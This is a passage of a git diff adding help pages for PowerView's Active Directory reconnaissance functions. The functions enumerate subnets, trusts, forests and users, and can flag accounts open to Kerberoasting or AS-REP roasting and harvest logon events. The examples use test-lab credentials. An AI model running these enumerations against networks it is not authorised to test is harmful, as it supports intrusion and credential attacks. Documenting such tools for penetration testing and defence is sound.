pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Site + +Custom PSObject with translated site property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSubnet.md b/docs/Recon/Get-DomainSubnet.md new file mode 100755 index 00000000..8cd82b1a --- /dev/null +++ b/docs/Recon/Get-DomainSubnet.md @@ -0,0 +1,309 @@ +# Get-DomainSubnet + +## SYNOPSIS +Search for all subnets or specific subnets objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainSubnet [[-Identity] ] [-SiteName ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all subnet objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSubnet +``` + +Returns the current subnets in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSubnet *admin* -Domain testlab.local +``` + +Returns all subnets with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all subnets with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred + +## PARAMETERS + +### -Identity +An subnet name (e.g. +'192.168.50.0/24'), DistinguishedName (e.g. +'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. +c37726ef-2b64-4524-b85b-6a9700c234dd). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SiteName +Only return subnets from the specified SiteName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Subnet + +Custom PSObject with translated subnet property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainTrust.md b/docs/Recon/Get-DomainTrust.md new file mode 100755 index 00000000..29af5770 --- /dev/null +++ b/docs/Recon/Get-DomainTrust.md @@ -0,0 +1,250 @@ +# Get-DomainTrust + +## SYNOPSIS +{{Fill in the Synopsis}} + +## SYNTAX + +### NET (Default) +``` +Get-DomainTrust [[-Domain] ] [-FindOne] +``` + +### API +``` +Get-DomainTrust [[-Domain] ] [-API] [-Server ] [-FindOne] +``` + +### LDAP +``` +Get-DomainTrust [[-Domain] ] [-LDAP] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -API +{{Fill API Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: API +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +{{Fill Credential Description}} + +```yaml +Type: PSCredential +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +{{Fill Domain Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 0 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -FindOne +{{Fill FindOne Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +{{Fill LDAP Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +{{Fill LDAPFilter Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +{{Fill Properties Description}} + +```yaml +Type: String[] +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +{{Fill ResultPageSize Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +{{Fill SearchScope Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: +Accepted values: Base, OneLevel, Subtree + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +{{Fill Server Description}} + +```yaml +Type: String +Parameter Sets: API, LDAP +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +{{Fill ServerTimeLimit Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +{{Fill Tombstone Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### System.String + + +## OUTPUTS + +### PowerView.DomainTrust.NET +PowerView.DomainTrust.LDAP +PowerView.DomainTrust.API + + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainTrustMapping.md b/docs/Recon/Get-DomainTrustMapping.md new file mode 100755 index 00000000..692f265c --- /dev/null +++ b/docs/Recon/Get-DomainTrustMapping.md @@ -0,0 +1,220 @@ +# Get-DomainTrustMapping + +## SYNOPSIS +{{Fill in the Synopsis}} + +## SYNTAX + +### NET (Default) +``` +Get-DomainTrustMapping +``` + +### API +``` +Get-DomainTrustMapping [-API] [-Server ] +``` + +### LDAP +``` +Get-DomainTrustMapping [-LDAP] [-LDAPFilter ] [-Properties ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -API +{{Fill API Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: API +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +{{Fill Credential Description}} + +```yaml +Type: PSCredential +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +{{Fill LDAP Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +{{Fill LDAPFilter Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +{{Fill Properties Description}} + +```yaml +Type: String[] +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +{{Fill ResultPageSize Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +{{Fill SearchScope Description}} + +```yaml +Type: String +Parameter Sets: LDAP +Aliases: +Accepted values: Base, OneLevel, Subtree + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +{{Fill Server Description}} + +```yaml +Type: String +Parameter Sets: API, LDAP +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +{{Fill ServerTimeLimit Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +{{Fill Tombstone Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### None + + +## OUTPUTS + +### PowerView.DomainTrust.NET +PowerView.DomainTrust.LDAP +PowerView.DomainTrust.API + + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainUser.md b/docs/Recon/Get-DomainUser.md new file mode 100755 index 00000000..7247a1d2 --- /dev/null +++ b/docs/Recon/Get-DomainUser.md @@ -0,0 +1,426 @@ +# Get-DomainUser + +## SYNOPSIS +Return all users or specific user objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty + +## SYNTAX + +### AllowDelegation (Default) +``` +Get-DomainUser [[-Identity] ] [-SPN] [-AdminCount] [-AllowDelegation] [-KerberosPreuthNotRequired] + [-Domain ] [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +### DisallowDelegation +``` +Get-DomainUser [[-Identity] ] [-SPN] [-AdminCount] [-DisallowDelegation] [-KerberosPreuthNotRequired] + [-Domain ] [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all user objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUser -Domain testlab.local +``` + +Return all users for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" +``` + +Return the user with the given SID, as well as Administrator. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff +``` + +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation +``` + +Search the specified OU for privileged user (AdminCount = 1) that allow delegation + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon +``` + +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon + +### -------------------------- EXAMPLE 6 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +### -------------------------- EXAMPLE 7 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) + +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. +Also accepts DOMAIN\user format. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SPN +Switch. +Only return user objects with non-null service principal names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AdminCount +Switch. +Return users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AllowDelegation +Switch. +Return user accounts that are not marked as 'sensitive and not allowed for delegation' + +```yaml +Type: SwitchParameter +Parameter Sets: AllowDelegation +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisallowDelegation +Switch. +Return user accounts that are marked as 'sensitive and not allowed for delegation' + +```yaml +Type: SwitchParameter +Parameter Sets: DisallowDelegation +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -KerberosPreuthNotRequired +Switch. +Return user accounts with "Do not require Kerberos preauthentication" set. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +## OUTPUTS + +### PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainUserEvent.md b/docs/Recon/Get-DomainUserEvent.md new file mode 100755 index 00000000..c8449817 --- /dev/null +++ b/docs/Recon/Get-DomainUserEvent.md @@ -0,0 +1,144 @@ +# Get-DomainUserEvent + +## SYNOPSIS +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-DomainUserEvent [[-ComputerName] ] [-StartTime ] [-EndTime ] + [-MaxEvents ] [-Credential ] +``` + +## DESCRIPTION +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUserEvent +``` + +Return logon events on the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) +``` + +Return all logon events from the last 3 days from every domain controller in the current domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 + +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies the computer name to retrieve events from, default of localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: dnshostname, HostName, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -StartTime +The \[DateTime\] object representing the start of when to collect events. +Default of \[DateTime\]::Now.AddDays(-1). + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now.AddDays(-1) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EndTime +The \[DateTime\] object representing the end of when to collect events. +Default of \[DateTime\]::Now. + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -MaxEvents +The maximum number of events to retrieve. +Default of 5000. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 5000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target computer. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LogonEvent + +PowerView.ExplicitCredentialLogonEvent + +## NOTES + +## RELATED LINKS + +[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/) + diff --git a/docs/Recon/Get-Forest.md b/docs/Recon/Get-Forest.md new file mode 100755 index 00000000..51ddef6e --- /dev/null +++ b/docs/Recon/Get-Forest.md @@ -0,0 +1,80 @@ +# Get-Forest + +## SYNOPSIS +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +## SYNTAX + +``` +Get-Forest [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Forest -Forest external.domain +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +## PARAMETERS + +### -Forest +The forest name to query for, defaults to the current forest. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target forest. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestDomain.md b/docs/Recon/Get-ForestDomain.md new file mode 100755 index 00000000..d755c0c8 --- /dev/null +++ b/docs/Recon/Get-ForestDomain.md @@ -0,0 +1,82 @@ +# Get-ForestDomain + +## SYNOPSIS +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestDomain [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns all domains for the current forest or the forest specified +by -Forest X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestDomain +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ForestDomain -Forest external.local +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred 